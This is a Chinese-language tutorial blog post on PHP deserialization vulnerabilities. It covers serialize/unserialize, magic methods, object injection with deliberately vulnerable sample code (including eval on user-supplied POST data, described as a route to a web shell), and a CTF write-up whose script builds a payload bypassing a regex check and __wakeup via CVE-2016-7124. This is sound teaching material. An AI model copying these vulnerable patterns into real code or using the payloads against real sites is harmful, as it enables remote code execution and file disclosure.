0x00 前言
最近也是在復習之前學過的內容,感覺對PHP反序列化的理解更加深了,所以在此總結一下
0x01 serialize()函數
“所有php里面的值都可以使用函數serialize()來返回一個包含字節流的字符串來表示。
序列化一個對象將會保存對象的所有變量,但是不會保存對象的方法,只會保存類的名字。”
一開始看這個概念可能有些懵,但之后也是慢慢理解了
在程序執行結束時,內存數據便會立即銷毀,變量所儲存的數據便是內存數據,而文件、數據庫是“持久數據”,因此PHP序列化就是將內存的變量數據“保存”到文件中的持久數據的過程。
1 $s = serialize($變量); //該函數將變量數據進行序列化轉換為字符串
2 file_put_contents(‘./目標文本文件’, $s); //將$s保存到指定文件
下面通過一個具體的例子來了解一下序列化:
1 <?php 2 class User 3 { 4 public $age = 0; 5 public $name = ''; 6
7 public function PrintData() 8 { 9 echo 'User '.$this->name.'is'.$this->age.'years old. <br />'; 10 } 11 } 12 //創建一個對象
13 $user = new User(); 14 // 設置數據
15 $user->age = 20; 16 $user->name = 'daye'; 17
18 //輸出數據
19 $user->PrintData(); 20 //輸出序列化之后的數據
21 echo serialize($user); 22
23 ?>
這個是結果:
可以看到序列化一個對象后將會保存對象的所有變量,並且發現序列化后的結果都有一個字符,這些字符都是以下字母的縮寫。
1 a - array b - boolean
2 d - double i - integer
3 o - common object r - reference 4 s - string C - custom object
5 O - class N - null
6 R - pointer reference U - unicode string
了解了縮寫的類型字母,便可以得到PHP序列化格式
O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"daye";} 對象類型:長度:"類名":類中變量的個數:{類型:長度:"值";類型:長度:"值";......}
通過以上例子,便可以理解了概念中的通過serialize()函數返回一個包含字節流的字符串這一段話。
0x02 unserialize()函數
unserialize() 對單一的已序列化的變量進行操作,將其轉換回 PHP 的值。在解序列化一個對象前,這個對象的類必須在解序列化之前定義。
簡單來理解起來就算將序列化過存儲到文件中的數據,恢復到程序代碼的變量表示形式的過程,恢復到變量序列化之前的結果。
1 $s = file_get_contents(‘./目標文本文件’); //取得文本文件的內容(之前序列化過的字符串)
2 $變量 = unserialize($s); //將該文本內容,反序列化到指定的變量中
通過一個例子來了解反序列化:
1 <?php 2 class User 3 { 4 public $age = 0; 5 public $name = ''; 6
7 public function PrintData() 8 { 9 echo 'User '.$this->name.' is '.$this->age.' years old. <br />'; 10 } 11 } 12 //重建對象
13 $user = unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"daye";}'); 14
15 $user->PrintData(); 16
17 ?>
這個是結果:
注意:在解序列化一個對象前,這個對象的類必須在解序列化之前定義。否則會報錯
0x03 PHP反序列化漏洞
在學習漏洞前,先來了解一下PHP魔法函數,對接下來的學習會很有幫助
PHP 將所有以 __(兩個下划線)開頭的類方法保留為魔術方法
1 __construct 當一個對象創建時被調用, 2 __destruct 當一個對象銷毀時被調用, 3 __toString 當一個對象被當作一個字符串被調用。 4 __wakeup() 使用unserialize時觸發 5 __sleep() 使用serialize時觸發 6 __destruct() 對象被銷毀時觸發 7 __call() 在對象上下文中調用不可訪問的方法時觸發 8 __callStatic() 在靜態上下文中調用不可訪問的方法時觸發 9 __get() 用於從不可訪問的屬性讀取數據 10 __set() 用於將數據寫入不可訪問的屬性 11 __isset() 在不可訪問的屬性上調用isset()或empty()觸發 12 __unset() 在不可訪問的屬性上使用unset()時觸發 13 __toString() 把類當作字符串使用時觸發,返回值需要為字符串 14 __invoke() 當腳本嘗試將對象調用為函數時觸發
這里只列出了一部分的魔法函數,具體可見
https://www.php.net/manual/zh/language.oop5.magic.php
下面通過一個例子來了解一下魔法函數被自動調用的過程
1 <?php 2 class test{ 3 public $varr1="abc"; 4 public $varr2="123"; 5 public function echoP(){ 6 echo $this->varr1."<br>"; 7 } 8 public function __construct(){ 9 echo "__construct<br>"; 10 } 11 public function __destruct(){ 12 echo "__destruct<br>"; 13 } 14 public function __toString(){ 15 return "__toString<br>"; 16 } 17 public function __sleep(){ 18 echo "__sleep<br>"; 19 return array('varr1','varr2'); 20 } 21 public function __wakeup(){ 22 echo "__wakeup<br>"; 23 } 24 } 25
26 $obj = new test(); //實例化對象,調用__construct()方法,輸出__construct
27 $obj->echoP(); //調用echoP()方法,輸出"abc"
28 echo $obj; //obj對象被當做字符串輸出,調用__toString()方法,輸出__toString
29 $s =serialize($obj); //obj對象被序列化,調用__sleep()方法,輸出__sleep
30 echo unserialize($s); //$s首先會被反序列化,會調用__wake()方法,被反序列化出來的對象又被當做字符串,就會調用_toString()方法。 31 // 腳本結束又會調用__destruct()方法,輸出__destruct
32 ?>
這個是結果:
通過這個例子就可以清晰的看到魔法函數在符合相應的條件時便會被調用。
0x04 對象注入
當用戶的請求在傳給反序列化函數unserialize()之前沒有被正確的過濾時就會產生漏洞。因為PHP允許對象序列化,攻擊者就可以提交特定的序列化的字符串給一個具有該漏洞的unserialize函數,最終導致一個在該應用范圍內的任意PHP對象注入。
對象漏洞出現得滿足兩個前提:
一、unserialize的參數可控。
二、 代碼里有定義一個含有魔術方法的類,並且該方法里出現一些使用類成員變量作為參數的存在安全問題的函數。
下面來舉個例子:
1 <?php 2 class A{ 3 var $test = "demo"; 4 function __destruct(){ 5 echo $this->test; 6 } 7 } 8 $a = $_GET['test']; 9 $a_unser = unserialize($a); 10 ?>
比如這個列子,直接是用戶生成的內容傳遞給unserialize()函數,那就可以構造這樣的語句
?test=O:1:"A":1:{s:4:"test";s:5:"lemon";}
在腳本運行結束后便會調用_destruct函數,同時會覆蓋test變量輸出lemon。
發現這個漏洞,便可以利用這個漏洞點控制輸入變量,拼接成一個序列化對象。
再看一個例子:
1 <?php 2 class A{ 3 var $test = "demo"; 4 function __destruct(){ 5 @eval($this->test);//_destruct()函數中調用eval執行序列化對象中的語句
6 } 7 } 8 $test = $_POST['test']; 9 $len = strlen($test)+1; 10 $pp = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}"; // 構造序列化對象
11 $test_unser = unserialize($pp); // 反序列化同時觸發_destruct函數
12 ?>
其實仔細觀察就會發現,其實我們手動構造序列化對象就是為了unserialize()函數能夠觸發__destruc()函數,然后執行在__destruc()函數里惡意的語句。
所以我們利用這個漏洞點便可以獲取web shell了
0x05 繞過魔法函數的反序列化
wakeup()魔法函數繞過
PHP5<5.6.25 PHP7<7.0.10
PHP反序列化漏洞CVE-2016-7124
#a#重點:當反序列化字符串中,表示屬性個數的值大於真實屬性個數時,會繞過 __wakeup 函數的執行
百度杯——Hash
其實仔細分析代碼,只要我們能繞過兩點即可得到f15g_1s_here.php的內容
(1)繞過正則表達式對變量的檢查
(2)繞過_wakeup()魔法函數,因為如果我們反序列化的不是Gu3ss_m3_h2h2.php,這個魔法函數在反序列化時會觸發並強制轉成Gu3ss_m3_h2h2.php
那么問題就來了,如果繞過正則表達式
(1)/[oc]:\d+:/i,例如:o:4:這樣就會被匹配到,而繞過也很簡單,只需加上一個+,這個正則表達式即匹配不到0:+4:
(2)繞過_wakeup()魔法函數,上面提到了當反序列化字符串中,表示屬性個數的值大於真實屬性個數時,會繞過 _wakeup 函數的執行
編寫php序列化腳本
1 <?php 2 class Demo { 3 private $file = 'Gu3ss_m3_h2h2.php'; 4
5 public function __construct($file) { 6 $this->file = $file; 7 } 8
9 function __destruct() { 10 echo @highlight_file($this->file, true); 11 } 12
13 function __wakeup() { 14 if ($this->file != 'Gu3ss_m3_h2h2.php') { 15 //the secret is in the f15g_1s_here.php
16 $this->file = 'Gu3ss_m3_h2h2.php'; 17 } 18 } 19 } 20 #先創建一個對象,自動調用__construct魔法函數
21 $obj = new Demo('f15g_1s_here.php'); 22 #進行序列化
23 $a = serialize($obj); 24 #使用str_replace() 函數進行替換,來繞過正則表達式的檢查
25 $a = str_replace('O:4:','O:+4:',$a); 26 #使用str_replace() 函數進行替換,來繞過__wakeup()魔法函數
27 $a = str_replace(':1:',':2:',$a); 28 #再進行base64編碼
29 echo base64_encode($a); 30 ?>